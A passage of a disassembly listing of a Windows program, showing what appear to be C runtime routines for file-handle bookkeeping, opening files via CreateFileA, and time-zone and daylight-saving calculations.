		add	esi, 20h
		cmp	ecx, offset dword_4BB8C0
		jl	short loc_41761C
		jmp	short loc_41769C
; ---------------------------------------------------------------------------


loc_417659:				; CODE XREF: sub_41760D+13j
		mov	esi, 100h
		push	esi
		call	sub_40E882
		test	eax, eax
		pop	ecx
		jz	short loc_41769C
		add	dword_4BB8C0, 20h
		lea	ecx, ds:4BB7C0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41767F:				; CODE XREF: sub_41760D+88j
		cmp	eax, edx
		jnb	short loc_417697
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41767F
; ---------------------------------------------------------------------------


loc_417697:				; CODE XREF: sub_41760D+74j
		shl	edi, 5
		mov	ebx, edi


loc_41769C:				; CODE XREF: sub_41760D+39j
					; sub_41760D+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41760D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4176A2	proc near		; CODE XREF: sub_417827+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4BB8C0
		push	edi
		jnb	short loc_417702
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4BB7C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_417702
		cmp	dword_422094, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_4176F8
		sub	eax, 0
		jz	short loc_4176EF
		dec	eax
		jz	short loc_4176EA
		dec	eax
		jnz	short loc_4176F8
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_4176F2
; ---------------------------------------------------------------------------


loc_4176EA:				; CODE XREF: sub_4176A2+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_4176F2
; ---------------------------------------------------------------------------


loc_4176EF:				; CODE XREF: sub_4176A2+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_4176F2:				; CODE XREF: sub_4176A2+46j
					; sub_4176A2+4Bj
		call	dword_41A018	; SetStdHandle


loc_4176F8:				; CODE XREF: sub_4176A2+36j
					; sub_4176A2+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_417716
; ---------------------------------------------------------------------------


loc_417702:				; CODE XREF: sub_4176A2+Cj
					; sub_4176A2+28j
		and	dword_4BA288, 0
		mov	dword_4BA284, 9
		or	eax, 0FFFFFFFFh


loc_417716:				; CODE XREF: sub_4176A2+5Ej
		pop	edi
		pop	esi
		retn
sub_4176A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_417719	proc near		; CODE XREF: sub_414EFB+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4BB8C0
		push	edi
		jnb	short loc_41777C
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4BB7C0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41777C
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41777C
		cmp	dword_422094, 1
		jnz	short loc_417772
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_417769
		dec	ecx
		jz	short loc_417764
		dec	ecx
		jnz	short loc_417772
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41776C
; ---------------------------------------------------------------------------


loc_417764:				; CODE XREF: sub_417719+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41776C
; ---------------------------------------------------------------------------


loc_417769:				; CODE XREF: sub_417719+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41776C:				; CODE XREF: sub_417719+49j
					; sub_417719+4Ej
		call	dword_41A018	; SetStdHandle


loc_417772:				; CODE XREF: sub_417719+38j
					; sub_417719+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_417790
; ---------------------------------------------------------------------------


loc_41777C:				; CODE XREF: sub_417719+Cj
					; sub_417719+2Aj ...
		and	dword_4BA288, 0
		mov	dword_4BA284, 9
		or	eax, 0FFFFFFFFh


loc_417790:				; CODE XREF: sub_417719+61j
		pop	edi
		pop	esi
		retn
sub_417719	endp


; =============== S U B	R O U T	I N E =======================================



sub_417793	proc near		; CODE XREF: sub_414EFB+32p
					; sub_414EFB+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4BB8C0
		jnb	short loc_4177BB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4BB7C0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4177BB
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4177BB:				; CODE XREF: sub_417793+Aj
					; sub_417793+23j
		and	dword_4BA288, 0
		mov	dword_4BA284, 9
		or	eax, 0FFFFFFFFh
		retn
sub_417793	endp


; =============== S U B	R O U T	I N E =======================================



sub_4177D0	proc near		; CODE XREF: sub_414FD9+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4BB8C0
		jnb	short loc_417819
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4BB7C0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_417819
		push	eax
		call	sub_417793
		pop	ecx
		push	eax
		call	dword_41A014	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_41780E
		call	dword_41A07C	; RtlGetLastWin32Error
		jmp	short loc_417810
; ---------------------------------------------------------------------------


loc_41780E:				; CODE XREF: sub_4177D0+34j
		xor	eax, eax


loc_417810:				; CODE XREF: sub_4177D0+3Cj
		test	eax, eax
		jz	short locret_417826
		mov	dword_4BA288, eax


loc_417819:				; CODE XREF: sub_4177D0+Aj
					; sub_4177D0+22j
		mov	dword_4BA284, 9
		or	eax, 0FFFFFFFFh

locret_417826:				; CODE XREF: sub_4177D0+42j
		retn
sub_4177D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417827	proc near		; CODE XREF: sub_4155FA+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41784D
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_417858
; ---------------------------------------------------------------------------


loc_41784D:				; CODE XREF: sub_417827+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_417858:				; CODE XREF: sub_417827+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_417872
		test	ch, 40h
		jnz	short loc_41786E
		cmp	dword_4BA564, eax
		jz	short loc_417872


loc_41786E:				; CODE XREF: sub_417827+3Dj
		or	[ebp+var_1], 80h


loc_417872:				; CODE XREF: sub_417827+38j
					; sub_417827+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4178AA
		dec	eax
		jz	short loc_4178A1
		dec	eax
		jz	short loc_417898


loc_417883:				; CODE XREF: sub_417827+9Fj
					; sub_417827+E8j ...
		mov	dword_4BA284, 16h
		mov	dword_4BA288, ebx
		jmp	loc_417ABD
; ---------------------------------------------------------------------------


loc_417898:				; CODE XREF: sub_417827+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4178B1
; ---------------------------------------------------------------------------


loc_4178A1:				; CODE XREF: sub_417827+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4178B1
; ---------------------------------------------------------------------------


loc_4178AA:				; CODE XREF: sub_417827+54j
		mov	[ebp+var_C], 80000000h


loc_4178B1:				; CODE XREF: sub_417827+78j
					; sub_417827+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4178DF
		cmp	eax, 20h
		jz	short loc_4178D6
		cmp	eax, 30h
		jz	short loc_4178CD
		cmp	eax, 40h
		jnz	short loc_417883
		mov	[ebp+var_10], esi
		jmp	short loc_4178E2
; ---------------------------------------------------------------------------


loc_4178CD:				; CODE XREF: sub_417827+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4178E2
; ---------------------------------------------------------------------------


loc_4178D6:				; CODE XREF: sub_417827+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4178E2
; ---------------------------------------------------------------------------


loc_4178DF:				; CODE XREF: sub_417827+90j
		mov	[ebp+var_10], ebx


loc_4178E2:				; CODE XREF: sub_417827+A4j
					; sub_417827+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41792C
		jz	short loc_417927
		cmp	ecx, ebx
		jz	short loc_417927
		cmp	ecx, edi
		jz	short loc_41791E
		cmp	ecx, 200h
		jz	short loc_417945
		cmp	ecx, 300h
		jnz	loc_417883
		mov	[ebp+var_8], 2
		jmp	short loc_417955
; ---------------------------------------------------------------------------


loc_41791E:				; CODE XREF: sub_417827+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_417955
; ---------------------------------------------------------------------------


loc_417927:				; CODE XREF: sub_417827+D0j
					; sub_417827+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_417955
; ---------------------------------------------------------------------------


loc_41792C:				; CODE XREF: sub_417827+CEj
		cmp	ecx, 500h
		jz	short loc_41794E
		cmp	ecx, 600h
		jz	short loc_417945
		cmp	ecx, edx
		jz	short loc_41794E
		jmp	loc_417883
; ---------------------------------------------------------------------------


loc_417945:				; CODE XREF: sub_417827+E0j
					; sub_417827+113j
		mov	[ebp+var_8], 5
		jmp	short loc_417955
; ---------------------------------------------------------------------------


loc_41794E:				; CODE XREF: sub_417827+10Bj
					; sub_417827+117j
		mov	[ebp+var_8], 1


loc_417955:				; CODE XREF: sub_417827+F5j
					; sub_417827+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_417974
		mov	ecx, dword_4BA28C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_417974
		push	1
		pop	esi


loc_417974:				; CODE XREF: sub_417827+138j
					; sub_417827+148j
		test	al, 40h
		jz	short loc_417982
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_417982:				; CODE XREF: sub_417827+14Fj
		test	ah, 10h
		jz	short loc_417989
		or	esi, edi


loc_417989:				; CODE XREF: sub_417827+15Ej
		test	al, 20h
		jz	short loc_417995
		or	esi, 8000000h
		jmp	short loc_41799F
; ---------------------------------------------------------------------------


loc_417995:				; CODE XREF: sub_417827+164j
		test	al, 10h
		jz	short loc_41799F
		or	esi, 10000000h


loc_41799F:				; CODE XREF: sub_417827+16Cj
					; sub_417827+170j
		call	sub_41760D
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_4179C0
		and	dword_4BA288, 0
		mov	dword_4BA284, 18h
		jmp	short loc_4179FE
; ---------------------------------------------------------------------------


loc_4179C0:				; CODE XREF: sub_417827+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_41A074	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_4179F1
		push	esi
		call	dword_41A170	; GetFileType
		test	eax, eax
		jnz	short loc_417A05
		push	esi
		call	dword_41A068	; CloseHandle


loc_4179F1:				; CODE XREF: sub_417827+1B6j
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		call	sub_4175A6
		pop	ecx


loc_4179FE:				; CODE XREF: sub_417827+197j
		mov	eax, edi
		jmp	loc_417ADB
; ---------------------------------------------------------------------------


loc_417A05:				; CODE XREF: sub_417827+1C1j
		cmp	eax, 2
		jnz	short loc_417A10
		or	[ebp+var_1], 40h
		jmp	short loc_417A19
; ---------------------------------------------------------------------------


loc_417A10:				; CODE XREF: sub_417827+1E1j
		cmp	eax, 3
		jnz	short loc_417A19
		or	[ebp+var_1], 8


loc_417A19:				; CODE XREF: sub_417827+1E7j
					; sub_417827+1ECj
		push	esi
		push	ebx
		call	sub_4176A2
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4BB7C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_417AC2
		test	al, 80h
		jz	short loc_417AC2
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_417AC2
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_415560
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_417A77
		cmp	dword_4BA288, 83h
		jz	short loc_417AC2
		jmp	short loc_417AB6
; ---------------------------------------------------------------------------


loc_417A77:				; CODE XREF: sub_417827+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_4151BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_417AA4
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_417AA4
		push	[ebp+var_10]
		push	ebx
		call	sub_418C8A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_417AB6


loc_417AA4:				; CODE XREF: sub_417827+265j
					; sub_417827+26Bj
		push	0
		push	0
		push	ebx
		call	sub_415560
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_417AC2


loc_417AB6:				; CODE XREF: sub_417827+24Ej
					; sub_417827+27Bj
		push	ebx
		call	sub_414EFB
		pop	ecx


loc_417ABD:				; CODE XREF: sub_417827+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_417ADB
; ---------------------------------------------------------------------------


loc_417AC2:				; CODE XREF: sub_417827+221j
					; sub_417827+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_417AD9
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_417AD9
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_417AD9:				; CODE XREF: sub_417827+29Fj
					; sub_417827+2A5j
		mov	eax, ebx


loc_417ADB:				; CODE XREF: sub_417827+1D9j
					; sub_417827+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417827	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AE0	proc near		; CODE XREF: sub_4157E2:loc_415821p
		cmp	dword_4BA540, 0
		jnz	short locret_417AF4
		call	sub_417AF5
		inc	dword_4BA540

locret_417AF4:				; CODE XREF: sub_417AE0+7j
		retn
sub_417AE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AF5	proc near		; CODE XREF: sub_417AE0+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4BA488, ebp
		mov	dword_424B20, ebx
		mov	dword_424B10, ebx
		call	sub_418DD0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_417C1E
		push	offset dword_4BA490
		call	dword_41A12C	; GetTimeZoneInformation
		cmp	eax, ebx
		jz	loc_417D4D
		mov	eax, dword_4BA490
		mov	ecx, dword_4BA4E4
		imul	eax, 3Ch
		cmp	word_4BA4D6, bp
		push	1
		pop	edx
		mov	dword_424A78, eax
		mov	dword_4BA488, edx
		jz	short loc_417B6C
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_424A78, eax


loc_417B6C:				; CODE XREF: sub_417AF5+69j
		cmp	word_4BA52A, bp
		jz	short loc_417B90
		mov	eax, dword_4BA538
		cmp	eax, ebp
		jz	short loc_417B90
		sub	eax, ecx
		mov	dword_424A7C, edx
		imul	eax, 3Ch
		mov	dword_424A80, eax
		jmp	short loc_417B9C
; ---------------------------------------------------------------------------


loc_417B90:				; CODE XREF: sub_417AF5+7Ej
					; sub_417AF5+87j
		mov	dword_424A7C, ebp
		mov	dword_424A80, ebp


loc_417B9C:				; CODE XREF: sub_417AF5+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_41A058
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_424B04
		push	ebx
		push	offset dword_4BA494
		push	edi
		push	dword_4BA324
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_417BD9
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_417BD9
		mov	eax, off_424B04
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_417BE1
; ---------------------------------------------------------------------------


loc_417BD9:				; CODE XREF: sub_417AF5+D1j
					; sub_417AF5+D7j
		mov	eax, off_424B04
		and	byte ptr [eax],	0


loc_417BE1:				; CODE XREF: sub_417AF5+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_424B08
		push	ebx
		push	offset dword_4BA4E8
		push	edi
		push	dword_4BA324
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_417D45
		cmp	[esp+14h+var_4], ebp
		jnz	loc_417D45
		mov	eax, off_424B08
		and	byte ptr [eax+3Fh], 0
		jmp	loc_417D4D
; ---------------------------------------------------------------------------


loc_417C1E:				; CODE XREF: sub_417AF5+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_417D4D
		mov	eax, dword_4BA53C
		cmp	eax, ebp
		jz	short loc_417C41
		push	eax
		push	esi
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417D4D


loc_417C41:				; CODE XREF: sub_417AF5+139j
		push	dword_4BA53C
		call	sub_40ECAF
		push	esi
		call	sub_40E730
		inc	eax
		push	eax
		call	sub_40E882
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4BA53C, eax
		jz	loc_417D4D
		push	esi
		push	eax
		call	sub_40ED20
		push	3
		push	esi
		push	off_424B04
		call	sub_410090
		mov	eax, off_424B04
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_417C96
		push	1
		inc	esi
		pop	edi


loc_417C96:				; CODE XREF: sub_417AF5+19Bj
		push	esi
		call	sub_40FADB
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_424A78, ecx


loc_417CAD:				; CODE XREF: sub_417AF5+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_417CBB
		cmp	al, bl
		jl	short loc_417CBE
		cmp	al, 39h
		jg	short loc_417CBE


loc_417CBB:				; CODE XREF: sub_417AF5+1BCj
		inc	esi
		jmp	short loc_417CAD
; ---------------------------------------------------------------------------


loc_417CBE:				; CODE XREF: sub_417AF5+1C0j
					; sub_417AF5+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_417D11
		inc	esi
		push	esi
		call	sub_40FADB
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_424A78
		add	ecx, eax
		mov	dword_424A78, ecx


loc_417CDC:				; CODE XREF: sub_417AF5+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_417CE9
		cmp	al, 39h
		jg	short loc_417CE9
		inc	esi
		jmp	short loc_417CDC
; ---------------------------------------------------------------------------


loc_417CE9:				; CODE XREF: sub_417AF5+1EBj
					; sub_417AF5+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_417D11
		inc	esi
		push	esi
		call	sub_40FADB
		pop	ecx
		mov	ecx, dword_424A78
		add	ecx, eax
		mov	dword_424A78, ecx


loc_417D04:				; CODE XREF: sub_417AF5+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_417D11
		cmp	al, 39h
		jg	short loc_417D11
		inc	esi
		jmp	short loc_417D04
; ---------------------------------------------------------------------------


loc_417D11:				; CODE XREF: sub_417AF5+1CCj
					; sub_417AF5+1F7j ...
		cmp	edi, ebp
		jz	short loc_417D1D
		neg	ecx
		mov	dword_424A78, ecx


loc_417D1D:				; CODE XREF: sub_417AF5+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_424A7C, eax
		jz	short loc_417D45
		push	3
		push	esi
		push	off_424B08
		call	sub_410090
		mov	eax, off_424B08
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_417D4D
; ---------------------------------------------------------------------------


loc_417D45:				; CODE XREF: sub_417AF5+10Bj
					; sub_417AF5+115j ...
		mov	eax, off_424B08
		and	byte ptr [eax],	0


loc_417D4D:				; CODE XREF: sub_417AF5+40j
					; sub_417AF5+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_417AF5	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D53	proc near		; CODE XREF: sub_4157E2+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_424A7C, edi
		jnz	short loc_417D67


loc_417D60:				; CODE XREF: sub_417D53+148j
					; sub_417D53+150j ...
		xor	eax, eax
		jmp	loc_417EB3
; ---------------------------------------------------------------------------


loc_417D67:				; CODE XREF: sub_417D53+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_424B10
		jnz	short loc_417D85
		cmp	eax, dword_424B20
		jz	loc_417E87


loc_417D85:				; CODE XREF: sub_417D53+24j
		cmp	dword_4BA488, edi
		jz	loc_417E5D
		movzx	ecx, word_4BA536
		push	ecx
		cmp	word_4BA528, di
		movzx	ecx, word_4BA534
		push	ecx
		movzx	ecx, word_4BA532
		push	ecx
		movzx	ecx, word_4BA530
		push	ecx
		jnz	short loc_417DD7
		movzx	ecx, word_4BA52C
		push	edi
		push	ecx
		movzx	ecx, word_4BA52E
		push	ecx
		movzx	ecx, word_4BA52A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_417DEB
; ---------------------------------------------------------------------------


loc_417DD7:				; CODE XREF: sub_417D53+65j
		movzx	ecx, word_4BA52E
		push	ecx
		push	edi
		movzx	ecx, word_4BA52A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_417DEB:				; CODE XREF: sub_417D53+82j
		push	ebx
		call	sub_417EFF
		movzx	eax, word_4BA4E2
		add	esp, 2Ch
		cmp	word_4BA4D4, di
		push	eax
		movzx	eax, word_4BA4E0
		push	eax
		movzx	eax, word_4BA4DE
		push	eax
		movzx	eax, word_4BA4DC
		push	eax
		jnz	short loc_417E45
		movzx	eax, word_4BA4D8
		push	edi
		push	eax
		movzx	eax, word_4BA4DA
		push	eax
		movzx	eax, word_4BA4D6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_417E3A:				; CODE XREF: sub_417D53+108j
		push	edi
		call	sub_417EFF
		add	esp, 2Ch
		jmp	short loc_417E87
; ---------------------------------------------------------------------------


loc_417E45:				; CODE XREF: sub_417D53+C8j
		movzx	eax, word_4BA4DA
		push	eax
		push	edi
		movzx	eax, word_4BA4D6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_417E3A
; ---------------------------------------------------------------------------


loc_417E5D:				; CODE XREF: sub_417D53+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_417EFF
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_417EFF
		add	esp, 58h


loc_417E87:				; CODE XREF: sub_417D53+2Cj
					; sub_417D53+F0j
		mov	edx, dword_424B14
		mov	eax, dword_424B24
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_417EB7
		cmp	ecx, edx
		jl	loc_417D60
		cmp	ecx, eax
		jg	loc_417D60
		cmp	ecx, edx
		jle	short loc_417ECB
		cmp	ecx, eax
		jge	short loc_417ECB


loc_417EB1:				; CODE XREF: sub_417D53+166j
					; sub_417D53+16Aj
		mov	eax, ebx


loc_417EB3:				; CODE XREF: sub_417D53+Fj
					; sub_417D53+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_417EB7:				; CODE XREF: sub_417D53+144j
		cmp	ecx, eax
		jl	short loc_417EB1
		cmp	ecx, edx
		jg	short loc_417EB1
		cmp	ecx, eax
		jle	short loc_417ECB
		cmp	ecx, edx
		jl	loc_417D60


loc_417ECB:				; CODE XREF: sub_417D53+158j
					; sub_417D53+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_417EF2
		xor	ecx, ecx
		cmp	eax, dword_424B18
		setnl	cl


loc_417EEE:				; CODE XREF: sub_417D53+1AAj
		mov	eax, ecx
		jmp	short loc_417EB3
; ---------------------------------------------------------------------------


loc_417EF2:				; CODE XREF: sub_417D53+18Ej
		xor	ecx, ecx
		cmp	eax, dword_424B28
		setl	cl
		jmp	short loc_417EEE
sub_417D53	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EFF	proc near		; CODE XREF: sub_417D53+99p
					; sub_417D53+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_417F9A
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_417F2A
		shl	esi, 2
		mov	eax, dword_424B28[esi]
		jmp	short loc_417F33
; ---------------------------------------------------------------------------


loc_417F2A:				; CODE XREF: sub_417EFF+1Ej
		shl	esi, 2
		mov	eax, dword_424B5C[esi]


loc_417F33:				; CODE XREF: sub_417EFF+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_417F6D
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_417F77
; ---------------------------------------------------------------------------


loc_417F6D:				; CODE XREF: sub_417EFF+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_417F77:				; CODE XREF: sub_417EFF+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_417FB5
		cmp	[ebp+arg_8], 0
		jnz	short loc_417F8B
		mov	esi, dword_424B2C[esi]
		jmp	short loc_417F91
; ---------------------------------------------------------------------------


loc_417F8B:				; CODE XREF: sub_417EFF+82j
		mov	esi, dword_424B60[esi]


loc_417F91:				; CODE XREF: sub_417EFF+8Aj
		cmp	ecx, esi
		jle	short loc_417FB5
		sub	ecx, 7
		jmp	short loc_417FB5
; ---------------------------------------------------------------------------


loc_417F9A:				; CODE XREF: sub_417EFF+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_417FAB
		mov	ecx, dword_424B28[eax*4]
		jmp	short loc_417FB2
; ---------------------------------------------------------------------------


loc_417FAB:				; CODE XREF: sub_417EFF+A1j
		mov	ecx, dword_424B5C[eax*4]


loc_417FB2:				; CODE XREF: sub_417EFF+AAj
		add	ecx, [ebp+arg_18]


loc_417FB5:				; CODE XREF: sub_417EFF+7Cj
					; sub_417EFF+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_417FE6
		mov	eax, [ebp+arg_1C]
		mov	dword_424B14, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_424B10, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_424B18, eax
		jmp	short loc_41803B
; ---------------------------------------------------------------------------


loc_417FE6:				; CODE XREF: sub_417EFF+BAj
		mov	eax, [ebp+arg_1C]
